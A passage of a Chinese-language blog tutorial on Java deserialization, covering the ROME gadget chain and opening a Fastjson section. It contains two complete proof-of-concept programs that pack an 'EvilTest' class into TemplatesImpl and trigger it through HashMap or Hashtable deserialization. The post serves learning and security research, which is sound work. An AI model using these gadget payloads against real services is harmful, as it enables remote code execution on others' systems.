style=\"width:765px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u4e1c\u897f\u7684\u4f5c\u7528\u5176\u5b9e\u5c31\u662f\u8fd4\u56de\u4e00\u4e2a\u5b57\u7b26\u4e32\uff0c\u6211\u4eec\u9700\u8981\u63a7\u5236 <code>this._obj<\/code>\u662f <code>TemplatesImpl<\/code>\uff0c\u8fd9\u6837\u6700\u540e\u624d\u80fd\u751f\u6210\u4e00\u4e2a <code>TemplatesImpl<\/code>\u3002\u518d\u5f80\u4e0a\u8d70\u662f <code>ObjectBean.toString()<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-172358-3-11.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-172358-3-11.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:749px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u4e2a\u7c7b\u5176\u5b9e\u633a\u7b80\u5355\u7684\uff0c\u4e3b\u8981\u4f5c\u7528\u5c31\u662f\u89e6\u53d1\u4e86 <code>ToStringBean#toSting<\/code>\uff0c\u518d\u5f80\u4e0a\u8d70\u627e <code>ObjectBean#toString<\/code> \u7684\u89e6\u53d1\u70b9 <code>EqualsBean#beanHashCode<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-173053-3-12.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-173053-3-12.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:702px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u8fd9\u4e2a\u5176\u5b9e\u4e5f\u633a\u7b80\u5355\u7684\uff0c\u6211\u4eec\u53ea\u9700\u8981\u63a7\u5236 <code>this._obj<\/code> \u4e3a <code>ObjectBean<\/code> \u5c31\u884c\u4e86\uff0c\u90a3\u4e48\u518d\u5f80\u4e0a\u8d70\uff0c\u7adf\u7136\u56de\u5230\u4e86 <code>ObjectBean#hashCode<\/code>\uff0c\u76f4\u63a5copy\u4e00\u4e0b\u56fe\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-172358-3-11.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-172358-3-11.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:681px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u786e\u5b9e\u5b58\u5728\u4e86\u5bf9 <code>beanHashCode<\/code> \u7684\u8c03\u7528\uff0c\u800c\u5bf9 <code>HashCode<\/code> \u7684\u8c03\u7528\u65b9\u6cd5\u5176\u5b9e\u5c31\u591a\u4e86\uff0c\u6bd4\u5982\u6211\u4eec\u6700\u5f00\u59cb\u5b66\u7684URLDNS\u91cc\uff0c\u5c31\u5229\u7528\u4e86 <code>HashMap#ReadObject<\/code> \u89e6\u53d1\u4e86 <code>hash<\/code> \uff0c\u8fdb\u800c\u89e6\u53d1\u4e86 <code>hash<\/code> \u91cc\u7684 <code>HashCode<\/code>\uff0c\u5f53\u7136\uff0c\u5bf9 HashMap \u76f4\u63a5 put \u5176\u5b9e\u4e5f\u4f1a\u89e6\u53d1 HashCode\uff0c\u6240\u4ee5\u6211\u4eec\u4e0b\u9762\u7684\u4ee3\u7801\u5176\u5b9e\u4f1a\u5f39\u4e24\u6b21\u8ba1\u7b97\u5668\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CC;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport com.sun.syndication.feed.impl.ObjectBean;\nimport javassist.ClassPool;\nimport javassist.CtClass;\n\nimport javax.xml.transform.Templates;\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\n\npublic class ROME {\n    public static byte&#91;] serialize(Object obj) throws Exception {\n        ByteArrayOutputStream btout = new ByteArrayOutputStream();\n        ObjectOutputStream objOut = new ObjectOutputStream(btout);\n        objOut.writeObject(obj);\n        return btout.toByteArray();\n    }\n\n    public static Object deserialize(byte&#91;] serialized) throws Exception {\n        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);\n        ObjectInputStream objIn = new ObjectInputStream(btin);\n        Object o = objIn.readObject();\n        return o;\n    }\n\n    public static void setFieldValue(Object obj, String name, Object value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(name);\n        field.setAccessible(true);\n        field.set(obj, value);\n\n    }\n\n    public static void main(String&#91;] args) throws Exception {\n        ClassPool pool = ClassPool.getDefault();\n        pool.insertClassPath(\"C:\\\\Users\\\\24254\\\\Desktop\\\\java\u7b14\u8bb0\\\\java-top-speed\\\\src\\\\shiroTest\");\n        CtClass clazzz = pool.get(\"EvilTest\");\n        byte&#91;] code = clazzz.toBytecode();\n        TemplatesImpl templates = new TemplatesImpl();\n        setFieldValue(templates, \"_bytecodes\", new byte&#91;]&#91;]{code});\n        setFieldValue(templates, \"_name\", \"HelloTemplatesImpl\");\n        setFieldValue(templates, \"_tfactory\", new TransformerFactoryImpl());\n\n        ObjectBean delegate = new ObjectBean(Templates.class, templates);\n        ObjectBean root = new ObjectBean(ObjectBean.class, delegate);\n\n        HashMap&lt;Object, Object&gt; hashMap = new HashMap&lt;&gt;();\n        hashMap.put(root, \"123\");\n\n        byte&#91;] obj = serialize(hashMap);\n        deserialize(obj);\n    }\n\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-174416-3-13.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-174416-3-13.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:765px;height:auto\"\/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Hashtable \u94fe<\/h2>\n\n\n\n<p>\u9664\u4e86\u4e0a\u9762\u7684\u6253\u6cd5\uff0c\u5176\u5b9e\u8fd8\u6709\u5176\u4ed6\u6253\u6cd5\uff0c\u5e76\u4e14\u80fd\u8fdb\u4e00\u6b65\u538b\u7f29payload\u957f\u5ea6\uff0c\u6bd4\u5982\u73b0\u5728\u4ecb\u7ecd\u7684 Hashtable \u94fe\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Hashtable.readObject()\n  Hashtable.reconstitutionPut()\n  \tAbstractMap.equals()\n    EqualsBean.equals(TemplatesImpl)\n      EqualsBean.beanEquals(TemplatesImpl)\n        pReadMethod.invoke(_obj, NO_PARAMS)\n        \tTemplatesImpl.getOutputProperties()<\/code><\/pre>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u8fd9\u4e2a\u94fe\u5b50\u957f\u5f97\u5c31\u5f88\u50cfCC7\u4e86\uff0c\u90fd\u662f <code>Hashtable#readObject<\/code>  =&gt;  <code>Hashtable#reconstitutionPut<\/code> =&gt;  <code>AbstractMap#equals<\/code>\uff0c\u4e0d\u8fc7\u8fd9\u91cc\u5229\u7528\u7684\u662f <code>EqualsBean#equals<\/code>\uff0c\u56de\u5230<code>AbstractMap#equals<\/code>\uff0c\u4e0d\u8fc7\u73b0\u5728\u5229\u7528\u7684\u662f <code>value.equals<\/code>\uff0c\u5176\u5b9e\u4e5f\u5c31\u662f<code> EqualsBean.equals<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-175428-3-14.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-175428-3-14.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:683px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u518d\u53bb\u770b\u770b <code>EqualsBean#equals<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-175657-3-15.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-175657-3-15.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:766px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u4e2a\u4ee3\u7801\u5f88\u7b80\u5355\uff0c\u5c31\u662f\u8fd4\u56de\u4e86 <code>this.beanEquals(obj)<\/code>\uff0c\u4e5f\u5c31\u662f\u4e0b\u9762\u7684 <code>EqualsBean#beanEquals<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-175923-3-16.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-175923-3-16.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:680px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u903b\u8f91\u548c\u4e4b\u524d\u7684 <code>ToStringBean#toString<\/code> \u57fa\u672c\u4e0a\u4e00\u6837\u7684\uff0c\u627e\u5230\u6807\u51c6\u7684 getter\/setter \u65b9\u6cd5\u7136\u540einvoke\uff0c\u6240\u4ee5\u8fd8\u662f\u548c\u4e4b\u524d\u4e00\u6837\u4f20\u5165 <code>OutputProperties<\/code> \u5373\u53ef\uff0c\u7136\u540e\u5c31\u4f1a\u8c03\u7528 <code>getOutputProperties<\/code> \u4e86<\/p>\n\n\n\n<p>\u5b8c\u6574\u7684\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CC;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport com.sun.syndication.feed.impl.EqualsBean;\nimport javassist.ClassPool;\nimport javassist.CtClass;\n\nimport javax.xml.transform.Templates;\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\nimport java.util.Hashtable;\n\npublic class ROME2 {\n    public static byte&#91;] serialize(Object obj) throws Exception {\n        ByteArrayOutputStream btout = new ByteArrayOutputStream();\n        ObjectOutputStream objOut = new ObjectOutputStream(btout);\n        objOut.writeObject(obj);\n        return btout.toByteArray();\n    }\n\n    public static Object deserialize(byte&#91;] serialized) throws Exception {\n        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);\n        ObjectInputStream objIn = new ObjectInputStream(btin);\n        Object o = objIn.readObject();\n        return o;\n    }\n\n    public static void setFieldValue(Object obj, String name, Object value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(name);\n        field.setAccessible(true);\n        field.set(obj, value);\n\n    }\n\n    public static void main(String&#91;] args) throws Exception {\n        ClassPool pool = ClassPool.getDefault();\n        pool.insertClassPath(\"C:\\\\Users\\\\24254\\\\Desktop\\\\java\u7b14\u8bb0\\\\java-top-speed\\\\src\\\\shiroTest\");\n        CtClass clazzz = pool.get(\"EvilTest\");\n        byte&#91;] code = clazzz.toBytecode();\n        TemplatesImpl templates = new TemplatesImpl();\n        setFieldValue(templates, \"_bytecodes\", new byte&#91;]&#91;]{code});\n        setFieldValue(templates, \"_name\", \"HelloTemplatesImpl\");\n        setFieldValue(templates, \"_tfactory\", new TransformerFactoryImpl());\n        \/\/ \u9632\u6b62\u6784\u9020\u89e6\u53d1\n        EqualsBean bean = new EqualsBean(String.class, \"s\");\n\n        HashMap map1 = new HashMap();\n        HashMap map2 = new HashMap();\n        map1.put(\"yy\", bean);\n        map1.put(\"zZ\", templates);\n        map2.put(\"yy\", templates);\n        map2.put(\"zZ\", bean);\n\n        Hashtable table = new Hashtable();\n        table.put(map1, \"1\");\n        table.put(map2, \"2\");\n\n        \/\/ \u53cd\u5c04\u63d2\u5165\u6076\u610f\u4ee3\u7801\n        setFieldValue(bean, \"_beanClass\", Templates.class);\n        setFieldValue(bean, \"_obj\", templates);\n\n        byte&#91;] obj = serialize(table);\n        deserialize(obj);\n\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-180355-3-17.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-180355-3-17.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:770px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u867d\u7136\u6784\u9020equals\u65f6\u6211\u4eec\u5229\u7528\u7684\u662fCC7\u91cc\u7684Hashtable\uff0c\u5229\u7528Hashcode\u7684\u78b0\u649e\u6765\u505a\uff0c\u4e0d\u8fc7\u5e94\u8be5\u53ef\u4ee5\u6ce8\u610f\u5230\u8fd9\u91cc\u6211\u4eec\u6bcf\u4e00\u6b21map\u90fd\u63d2\u5165\u4e86\u4e24\u4e2a\u5143\u7d20\uff0c\u800cCC7\u4e0d\u9700\u8981\uff0c\u8fd9\u91cc\u5176\u5b9e\u662f\u4e3a\u4e86\u4fdd\u8bc1beanEquals\u7684\u65f6\u5019bean2 != null\uff0c\u8fd9\u6837\u624d\u80fd\u8d70\u8fdb\u5faa\u73af\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-180946-3-18.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-180946-3-18.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u4e0d\u7ed9hashMap\u4f20\u4e24\u4e2a\u503c\uff0c\u90a3\u4e48\u5c31\u4f1a\u5bfc\u81f4 <code>AbstractMap#equals<\/code> \u91cc <code>m.get<\/code> \u62ff\u4e0d\u5230\u503c\uff0c\u81ea\u7136\u540e\u9762\u7684\u4ee3\u7801\u5c31\u6267\u884c\u4e0d\u4e86\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-181244-3-19.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-181244-3-19.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">Fastjson\u53cd\u5e8f\u5217\u5316<\/h1>\n\n\n\n<p>\u5728\u6211\u4eec\u5b66\u4e60\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\uff0c\u4e0d\u96be\u60f3\u5230\u4e00\u4e2a\u95ee\u9898\uff0c\u5982\u679c\u6ca1\u6709\u4e00\u4e2a\u53cd\u5e8f\u5217\u5316\u63a5\u53e3\uff0c\u518d\u597d\u7684\u94fe\u5b50\u4e5f\u6253\u4e0d\u901a\u3002\u5728shiro\u91cc\u6211\u4eec\u6709\u4e00\u4e2a\u975e\u5e38\u597d\u7684\u8f7d\u4f53\uff0c\u90a3\u5c31\u662frememberMe\uff0c\u4ed6\u4f1a\u81ea\u52a8\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\uff0c\u90a3\u6211\u4eec\u6316\u7684\u94fe\u5b50\u81ea\u7136\u5c31\u6709\u7528\u4e86\uff0c\u800c\u8fd9\u91cc\u6211\u4eec\u5b66\u4e60\u7684Fastjson\u6070\u597d\u5c31\u662f\u8fd9\u4e48\u4e00\u4e2a\u975e\u5e38\u597d\u7528\u7684java\u53cd\u5e8f\u5217\u5316\u8f7d\u4f53\u3002<\/p>\n\n\n\n<p>\u9996\u5148\u53bb\u4e0b\u4e00\u4e0b\u4f9d\u8d56\uff1a<a href=\"https:\/\/mvnrepository.com\/artifact\/com.alibaba\/fastjson\/1.2.24\">fastjson-1.2.24.jar<\/a><\/p>\n\n\n\n<p>Fastjson \u662f\u963f\u91cc\u5df4\u5df4\u5f00\u53d1\u7684\u4e00\u4e2a Java \u5e8f\u5217\u5316\/\u53cd\u5e8f\u5217\u5316 JSON \u7684\u9ad8\u6027\u80fd\u5e93\uff0c\u4e3b\u8981\u7528\u4e8e\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5c06 Java \u5bf9\u8c61\u8f6c\u4e3a JSON \u5b57\u7b26\u4e32\uff08\u5e8f\u5217\u5316\uff09<\/li>\n\n\n\n<li>\u5c06 JSON \u5b57\u7b26\u4e32\u8f6c\u4e3a Java \u5bf9\u8c61\uff08\u53cd\u5e8f\u5217\u5316\uff09<\/li>\n<\/ul>\n\n\n\n<p>\u5176\u6838\u5fc3\u7c7b\u662f <code>com.alibaba.fastjson.JSON<\/code>\uff0cFastjson \u8fd8\u652f\u6301\u81ea\u52a8\u7c7b\u578b\u8bc6\u522b\u3001\u6df1\u5c42\u5d4c\u5957\u7ed3\u6784\u3001\u6cdb\u578b\u3001\u65e5\u671f\u683c\u5f0f\u3001<code>@JSONField<\/code> \u6ce8\u89e3\u7b49\u3002<\/p>\n\n\n\n<p>\u5176\u4e2d\u4f7f\u7528 <code>toJSONString<\/code> \u53ef\u4ee5\u628aUserBean\u5e8f\u5217\u5316\u6210json\uff0c\u5bf9\u5e94\u7684\u6709\u4e09\u79cd\u53cd\u5e8f\u5217\u5316\u7684\u65b9\u5f0f\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>JSON.parse(String)<\/code>\uff1a \u8fd4\u56de <code>Object<\/code>\uff0c\u9700\u624b\u52a8\u8f6c\u578b<\/li>\n\n\n\n<li><code>JSON.parseObject(String)<\/code>\uff1a\u8fd4\u56de <code>JSONObject<\/code><\/li>\n\n\n\n<li><code>JSON.parseObject(String, Class)<\/code>\uff1a\u8fd4\u56de\u81ea\u5b9a\u4e49\u7c7b\u5b9e\u4f8b<\/li>\n<\/ul>\n\n\n\n<p>\u9996\u5148\u6211\u4eec\u521b\u5efa\u4e00\u4e2auser\u7c7b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.fastjson;\n\npublic class user {\n    private String name;\n    private int age;\n    private String hobby;\n\n    public user() {\n    }\n\n    public user(String name, int age, String hobby) {\n        this.name = name;\n        this.age = age;\n        this.hobby = hobby;\n    }\n\n    public String getName() {\n        System.out.println(\"\u8c03\u7528\u4e86getName\");\n        return name;\n    }\n\n    public void setName(String name) {\n        System.out.println(\"\u8c03\u7528\u4e86setName\");\n        this.name = name;\n    }\n\n    public int getAge() {\n        return age;\n    }\n\n    public void setAge(int age) {\n        this.age = age;\n    }\n\n    public String getHobby() {\n        return hobby;\n    }\n\n    public void setHobby(String hobby) {\n        this.hobby = hobby;\n    }\n\n    @Override\n    public String toString() {\n        return \"user{\" +\n                \"name='\" + name + '\\'' +\n                \", age=\" + age +\n                \", hobby='\" + hobby + '\\'' +\n                '}';\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u505a\u4e2a\u6d4b\u8bd5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.fastjson;\n\nimport com.alibaba.fastjson.JSON;\n\npublic class FastjsonParseDemo {\n    public static void main(String&#91;] args) {\n        user user = new user(\"Fushuling\", 21, \"\u73a9\u539f\u795e\");\n\n        String s1 = JSON.toJSONString(user);\n        System.out.println(s1);\n        System.out.println(\"-----------------------------------------------------\");\n        Object parse = JSON.parse(s1);\n        System.out.println(parse);\n        System.out.println(parse.getClass().getName());\n        System.out.println(\"-----------------------------------------------------\");\n        Object parse1 = JSON.parseObject(s1);\n        System.out.println(parse1);\n        System.out.println(parse1.getClass().getName());\n        System.out.println(\"-----------------------------------------------------\");\n        Object parse2 = JSON.parseObject(s1, Object.class);\n        System.out.println(parse2);\n        System.out.println(parse2.getClass().getName());\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-220952-3-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-220952-3-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" 